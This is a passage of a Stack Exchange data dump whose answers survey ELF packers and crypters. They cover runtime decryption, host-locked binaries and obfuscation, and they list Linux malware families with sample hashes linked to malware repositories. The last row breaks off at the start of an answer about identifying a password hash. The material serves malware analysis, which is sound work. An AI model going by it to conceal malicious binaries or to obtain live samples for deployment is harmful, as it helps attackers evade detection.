Projects&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://packetstormsecurity.com/files/30886/cryptelf.c.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;cryptelf&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; (2003) by SLACKo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifies binary by appending code to handle runtime decryption, changing the program entry point and changing the &lt;code&gt;.note&lt;/code&gt; segment to &lt;code&gt;LOAD&lt;/code&gt;. Encrypts the &lt;code&gt;.text&lt;/code&gt; section by XORing its bytes with a key. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://elf-encrypter.sourceforge.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ELF Encrypter&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; - Last update: 2013-03-12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appears to rely on classical runtime code injection or parasite code techniques to accomplish runtime decryption.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The encrypted file (generated by the &lt;code&gt;crypt-7lib program&lt;/code&gt;) will be decrypted at runtime by a shared library, directly linked to the binary or listed in&lt;code&gt;LD_PRELOAD&lt;/code&gt;, during its initialization routine. The suite also contains programs to inject plain and encrypted code into ELF binaries.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ELF-Encrypter 0.12&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;changed the data segment infection technique&lt;/li&gt;&#xA;  &lt;li&gt;added the code to correct section table offsets&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/ps2dev/ps2-packer&quot; rel=&quot;nofollow noreferrer&quot;&gt;ps2-packer&lt;/a&gt;&lt;/strong&gt; (2013)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on UPX.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Just like UPX this tool is designed to help you&#xA;  create packed ELF to run on the PS2. It has a modular design, so anybody can&#xA;  write any kind of module to it. It actually has a zlib module, a lzo module,&#xA;  three ucl modules (n2b, n2d and n2e) and a null module, for demo purpose only.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/arisada/midgetpack&quot; rel=&quot;nofollow noreferrer&quot;&gt;midgetpack&lt;/a&gt;&lt;/strong&gt; (2014)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Midgetpack contains two modes of operation: password and curve25519 key exchange.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The curve25519 is the real advantage of midgetpack. In this mode, you do not&#xA;  provide any password or key. Instead, a key file is generated at packing time.&#xA;  This key file must be used everytime you wish to use the binary. When you start&#xA;  the binary, it will give a challenge and expect a response. You copy/paste the&#xA;  challenge in the input of the mpkex tool and receive a response containing the&#xA;  encrypted key to the binary.&#xA;  This key exchange is protected by Curve25519 key exchange, the key is encrypted&#xA;  with aes-128 and the whole exchange is authenticated with HMAC-SHA256 to avoid&#xA;  generic man-in-the-middle attacks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/tweksteen/oplzkwp&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;oplzkwp&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; (2015)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;oplzkwp is a library for ELF obfuscation. It uses PRESENT and blake244 to encrypt your payload on the fly. Only the functions that are currently executed are decrypted in memory. Both Linux (x86) and Android (ARM) are supported.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/picoflamingo/pocrypt&quot; rel=&quot;nofollow noreferrer&quot;&gt;pocrypt&lt;/a&gt;&lt;/strong&gt; (2015)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Proof of Code to demonstrate how to crypt parts of a binary. The modified binary is extended with a small function that decrypts the secured parts of the file at run-time to enable its execution.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/glen-mac/ELF-Packer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ELF-Packer&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; (2017)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple tool developed as a homework assignment. It uses parasite code inserted into a code cave to perform runtime XOR obfuscation or de-obfuscation of a target binary's &lt;code&gt;.text&lt;/code&gt; section. The details are discussed in &lt;a href=&quot;https://github.com/glen-mac/ELF-Packer/blob/master/elf_cryptor.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simple Polymorphic x86-64 Runtime Code Segment Crpytor&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/droberson/ELFcrypt&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELFcrypt&lt;/a&gt;&lt;/strong&gt; (2018)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Simple ELF crypter. Uses RC4 encryption.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA; &lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ryan O'Neill's (@ryan_elfmaster) experiments. These may have research value:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitlackeys.org/projects/elfpacker.tgz&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF Packer v0.3&lt;/a&gt; (2009)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/elfmaster/sherlocked&quot; rel=&quot;nofollow noreferrer&quot;&gt;sherlocked&lt;/a&gt; (2014)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/elfmaster/davinci&quot; rel=&quot;nofollow noreferrer&quot;&gt;davinci&lt;/a&gt; (2015)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/elfmaster/saruman&quot; rel=&quot;nofollow noreferrer&quot;&gt;saruman&lt;/a&gt; (2018)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Historical&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://packetstormsecurity.com/files/related/30648/burneye-1.0.1-src.tar.bz2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;burneye&lt;/code&gt; (v1)&lt;/a&gt;&lt;/strong&gt; by the Teso group (2002)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following summary is given in &lt;a href=&quot;http://phrack.org/issues/63/13.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;cryptexec: Next-generation runtime binary encryption using on-demand function extraction&lt;/a&gt; (more information is included in burneye's documentation):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Similarly to Shiva, it has three layers: 1) obfuscation, 2) password-based encryption using RC4 and SHA1 (for generating the key from passphrase), and 3) the fingerprinting layer.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The fingerprinting layer is the most interesting one: the data about the&#xA;  target system is collected (e.g. amount of memory, etc..) and made into&#xA;  a 'fingeprint'. The executable is encrypted taking the fingerprint into&#xA;  account so that the resulting binary can be run only on the host with the&#xA;  given fingerprint. There are two fingerprinting options:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Fingeprint tolerance can be specified so that Small deviations are&#xA;  allowed. That way, for example, the memory can be upgraded on the&#xA;  target system and the executable will still work. If the number of&#xA;  differences in the fingeprint is too large, the program won't work.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Seal: the program produced with this option will run on any system.&#xA;  However, the first time it is run, it creats a fingerprint of the&#xA;  host and 'seals' itself to that host. The original seal binary is&#xA;  securely deleted afterwards.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The encrypted binary can also be made to delete itself when a certain&#xA;  environment variable is set during the program execution.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://packetstormsecurity.com/files/31524/objobf-0.5.0.tar.bz2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;objobf&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; aka burneye2 (2003)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It reads one ELF relocateable object file and&#xA;  produces a functional equivalent output file, which is an obfuscated version&#xA;  of the input file. To do this, &lt;code&gt;objobf&lt;/code&gt; breaks up all functions in the file to the basic block level. This representation is used to mutate the code while keeping it semantically equivalent. This involves dataflow analysis and basic block transformations. Afterwards, the basic block representation as control flow graph is linearized into a new object file, which is created from scratch.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/timhsutw/elfuck/tree/master/doc&quot; rel=&quot;nofollow noreferrer&quot;&gt;elfuck&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implements executable compression as well as encryption. Based on UPX and &lt;code&gt;burneye&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;ELFuck uses excellent Markus F.X.J. Oberhumer's compression algorithm,&#xA;  NRV2E which carries very good compression with tiny decompressor&#xA;  (about 128 bytes!). This algorithm family is stolen from UPX, with&#xA;  difference in that decompression is done in real time; ELFuck will&#xA;  decompress ELF directly to .text/.data segment and executes authentic&#xA;  ELF image from there, on other hand, UPX creates original ELF in /tmp&#xA;  and execve() it, so that we don't need any writeable filesystem at all.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because ELFuck is 100%-ly based on stolen ideas, I also implemented&#xA;  this one of BurnEye. Someone may like to disallow other users to&#xA;  use/analyse your binary (public shells, root browsing user's homes).&#xA;  The algorithm is kinda simple, but seems to be pretty effective:&#xA;  We'll select some password; expand it using sha1 to 160 bit key.&#xA;  by this key we'll encrypt, using RC4 algorithm, whole binary&#xA;  (except the decrypting stub, of course). We'll also keep&#xA;  last 32bits of sha1 against original binary, in order to check password.&#xA;  When someone will execute such protected binary; the stub will ask for&#xA;  password, make hash of it and try to decrypt the binary back using&#xA;  this key. Then we'll make a hash of potentially decrypted binary,&#xA;  check it against the value we've saved while creating, and if matches,&#xA;  the binary is decrypted correctly (=right password) and we'll let it&#xA;  run.   &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Modern&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The majority of modern ELF binaries are protected using UPX or a variant thereof. &lt;sup&gt;1,2&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The simplest variation of the UPX packer used out in the wild is the &lt;a href=&quot;https://i.stack.imgur.com/AUgrm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;'LSD' packer&lt;/a&gt;, in which the string 'UPX' is changed to 'LSD'. An example of this was a &lt;a href=&quot;https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;XMR coin miner written in Go which targeted systems running Jenkins&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;mumblehard&lt;/code&gt;&lt;/strong&gt; custom protector - not based on UPX&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The whole packer actually consists of about 200 assembly instructions.&#xA;  Another notable observation: system calls are made directly by using &lt;code&gt;int 80h&lt;/code&gt; instructions. Another hint that it was written in assembly is that functions do not have the usual prologue to manage the stack. By doing system calls with interrupts, Mumblehard ELF binaries avoid any external dependency.&#xA;  Furthermore, the packer works on both Linux and BSD systems. &lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;samples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=6fe8c28022c0acb99ce1c48214043dee&quot; rel=&quot;nofollow noreferrer&quot;&gt;20b567084bcc6bd5ac47b2ab450bbe838ec88fc726070eb6e61032753734d233&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=8c0ed8b22000d7493aa94a0c2e587a4c&quot; rel=&quot;nofollow noreferrer&quot;&gt;78c19897d08e35c0e50155c87f501e20f2d1dbfd38607fc8e12711d086d52204&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=88b62d23b9f2b6f866774b82962442d7&quot; rel=&quot;nofollow noreferrer&quot;&gt;84dfe2ac489ba41dfb25166a983ee2d664022bbcc01058c56a1b1de82f785a43&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=86f0b0b74fe8b95b163a1b31d76f7917&quot; rel=&quot;nofollow noreferrer&quot;&gt;747d985d4bd302e974474dc9ab44cb1f60cb06206f3639c5d603db94395b877b&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=3437bd29e5c8fe493603581dbb0285c7&quot; rel=&quot;nofollow noreferrer&quot;&gt;9512cd72e901d7df95ddbcdfc42cdb16141ff155e0cb0f8321069212e0cd67a8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=b1338cd9b5a853d8920f5a868108135b&quot; rel=&quot;nofollow noreferrer&quot;&gt;a5915c3060f5891242514b7899975393ef3d3cb87b33b6a767cffce4feac215f&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;a variant of &lt;strong&gt;&lt;code&gt;tiny XMR mooner&lt;/code&gt;&lt;/strong&gt; uses a custom packer according to the r2con 2018 presentation &lt;a href=&quot;https://github.com/radareorg/r2con2018/blob/master/talks/unpacking/Unpacking-a-Non-Unpackables.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unpacking the Non-Unpackable&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/8a0d9c84cfb86dd1f8c9acab87738d2cb82106aee0d88396f6fa86265ff252dd/detection&quot; rel=&quot;nofollow noreferrer&quot;&gt;8a0d9c84cfb86dd1f8c9acab87738d2cb82106aee0d88396f6fa86265ff252dd&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;md5sum from presentation: &lt;code&gt;4f1fdacaee8e3c612c9ffbbe162042b2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note this particular file was the subject of &lt;a href=&quot;https://xorl.wordpress.com/2017/12/21/the-tiny-xml-mooner-linux-cryptominer-malware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The “Tiny XMR mooner” Linux cryptominer malware&lt;/a&gt; (the sha256 sum is identical) but no mention is made in this analysis of packing or any other form of binary protection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;Linux/Tsunami&lt;/code&gt;&lt;/strong&gt; with custom packer&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=171edd284f6a19c6ed3fe010b79c94af&quot; rel=&quot;nofollow noreferrer&quot;&gt;Malshare sample&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/f22ffc07e0cc907f00fd6a4ecee09fe8411225badb2289c1bffa867a2a3bd863/detection&quot; rel=&quot;nofollow noreferrer&quot;&gt;f22ffc07e0cc907f00fd6a4ecee09fe8411225badb2289c1bffa867a2a3bd863&lt;/a&gt; (Virustotal)&lt;/li&gt;&#xA;&lt;li&gt;there used to be an analysis available at &lt;a href=&quot;http://pwning.fun/article/2017/11/17/UnPacking_a_Linux_Tsunami_Sample.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;pwning.fun&lt;/a&gt; but it looks like its been taken down.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Additional Information&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.esat.kuleuven.be/cosic/publications/article-1529.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;A taxonomy of self-modifying code for obfuscation&lt;/a&gt; (2011) concisely summarizes some of these tools and discusses a variety of obfuscation techniques.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.s3.eurecom.fr/docs/oakland18_cozzi.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding Linux Malware&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://s3.eurecom.fr/~invano/slides/recon18_linux_malware.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modern Linux Malware Exposed&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unboxing Linux/Mumblehard&lt;/a&gt; (2015) - ESET&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-08-11T05:47:20.687" LastActivityDate="2019-08-11T05:47:20.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21612" PostTypeId="2" ParentId="1545" CreationDate="2019-07-04T14:34:40.117" Score="0" Body="&lt;p&gt;The majority of modern ELF binaries are protected using UPX or a variant thereof. &lt;sup&gt;1,2&lt;/sup&gt; However, custom packers have been observed in the wild, including both UPX based- and non-UPX based-custom packers.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The simplest variation of the UPX packer used out in the wild is the &lt;a href=&quot;https://i.stack.imgur.com/AUgrm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;'LSD' packer&lt;/a&gt;, in which the string 'UPX' is changed to 'LSD'. An example of this was a &lt;a href=&quot;https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;XMR coin miner written in Go which targeted systems running Jenkins&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;mumblehard&lt;/code&gt;&lt;/strong&gt; custom protector - not based on UPX&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The whole packer actually consists of about 200 assembly instructions.&#xA;  Another notable observation: system calls are made directly by using &lt;code&gt;int 80h&lt;/code&gt; instructions. Another hint that it was written in assembly is that functions do not have the usual prologue to manage the stack. By doing system calls with interrupts, Mumblehard ELF binaries avoid any external dependency.&#xA;  Furthermore, the packer works on both Linux and BSD systems. &lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;samples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=6fe8c28022c0acb99ce1c48214043dee&quot; rel=&quot;nofollow noreferrer&quot;&gt;20b567084bcc6bd5ac47b2ab450bbe838ec88fc726070eb6e61032753734d233&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=8c0ed8b22000d7493aa94a0c2e587a4c&quot; rel=&quot;nofollow noreferrer&quot;&gt;78c19897d08e35c0e50155c87f501e20f2d1dbfd38607fc8e12711d086d52204&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=88b62d23b9f2b6f866774b82962442d7&quot; rel=&quot;nofollow noreferrer&quot;&gt;84dfe2ac489ba41dfb25166a983ee2d664022bbcc01058c56a1b1de82f785a43&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=86f0b0b74fe8b95b163a1b31d76f7917&quot; rel=&quot;nofollow noreferrer&quot;&gt;747d985d4bd302e974474dc9ab44cb1f60cb06206f3639c5d603db94395b877b&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=3437bd29e5c8fe493603581dbb0285c7&quot; rel=&quot;nofollow noreferrer&quot;&gt;9512cd72e901d7df95ddbcdfc42cdb16141ff155e0cb0f8321069212e0cd67a8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=b1338cd9b5a853d8920f5a868108135b&quot; rel=&quot;nofollow noreferrer&quot;&gt;a5915c3060f5891242514b7899975393ef3d3cb87b33b6a767cffce4feac215f&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;a variant of &lt;strong&gt;&lt;code&gt;tiny XMR mooner&lt;/code&gt;&lt;/strong&gt; uses a custom packer according to the r2con 2018 presentation &lt;a href=&quot;https://github.com/radareorg/r2con2018/blob/master/talks/unpacking/Unpacking-a-Non-Unpackables.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unpacking the Non-Unpackable&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/8a0d9c84cfb86dd1f8c9acab87738d2cb82106aee0d88396f6fa86265ff252dd/detection&quot; rel=&quot;nofollow noreferrer&quot;&gt;8a0d9c84cfb86dd1f8c9acab87738d2cb82106aee0d88396f6fa86265ff252dd&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;md5sum from presentation: &lt;code&gt;4f1fdacaee8e3c612c9ffbbe162042b2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note this particular file was the subject of &lt;a href=&quot;https://xorl.wordpress.com/2017/12/21/the-tiny-xml-mooner-linux-cryptominer-malware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The “Tiny XMR mooner” Linux cryptominer malware&lt;/a&gt; (the sha256 sum is identical) but no mention is made in this analysis of packing or any other form of binary protection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;Tsunami&lt;/code&gt;&lt;/strong&gt; with custom packer&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=171edd284f6a19c6ed3fe010b79c94af&quot; rel=&quot;nofollow noreferrer&quot;&gt;Malshare sample&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/f22ffc07e0cc907f00fd6a4ecee09fe8411225badb2289c1bffa867a2a3bd863/detection&quot; rel=&quot;nofollow noreferrer&quot;&gt;f22ffc07e0cc907f00fd6a4ecee09fe8411225badb2289c1bffa867a2a3bd863&lt;/a&gt; (Virustotal)&lt;/li&gt;&#xA;&lt;li&gt;there used to be an analysis available at &lt;a href=&quot;http://pwning.fun/article/2017/11/17/UnPacking_a_Linux_Tsunami_Sample.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;pwning.fun&lt;/a&gt; but it looks like its been taken down.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.s3.eurecom.fr/docs/oakland18_cozzi.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding Linux Malware&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://s3.eurecom.fr/~invano/slides/recon18_linux_malware.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modern Linux Malware Exposed&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unboxing Linux/Mumblehard&lt;/a&gt; (2015) - ESET&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-07-05T07:21:28.057" LastActivityDate="2019-07-05T07:21:28.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21613" PostTypeId="2" ParentId="21607" CreationDate="2019-07-04T16:00:35.960" Score="1" Body="&lt;p&gt;Lots of possibilities, for all we know there's a chance that some &quot;other&quot; salt is used or that either the password or the salt or both are preprocessed in some way. Additionally there could be multiple rounds of hashing one of the combinations ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this question literally requires looking at the code and therefore reverse code engineering to give you more than some wild guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the most obvious cases and there was no match (tested with DSA, DSA-SHA, MD4, MD5, RIPEMD160, SHA, SHA1, SHA224, SHA256, SHA384, SHA512, dsaEncryption, dsaWithSHA, ecdsa-with-SHA1, md4, md5, ripemd160, sha, sha1, sha224, sha256, sha384, sha512, whirlpool):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3&#xA;from 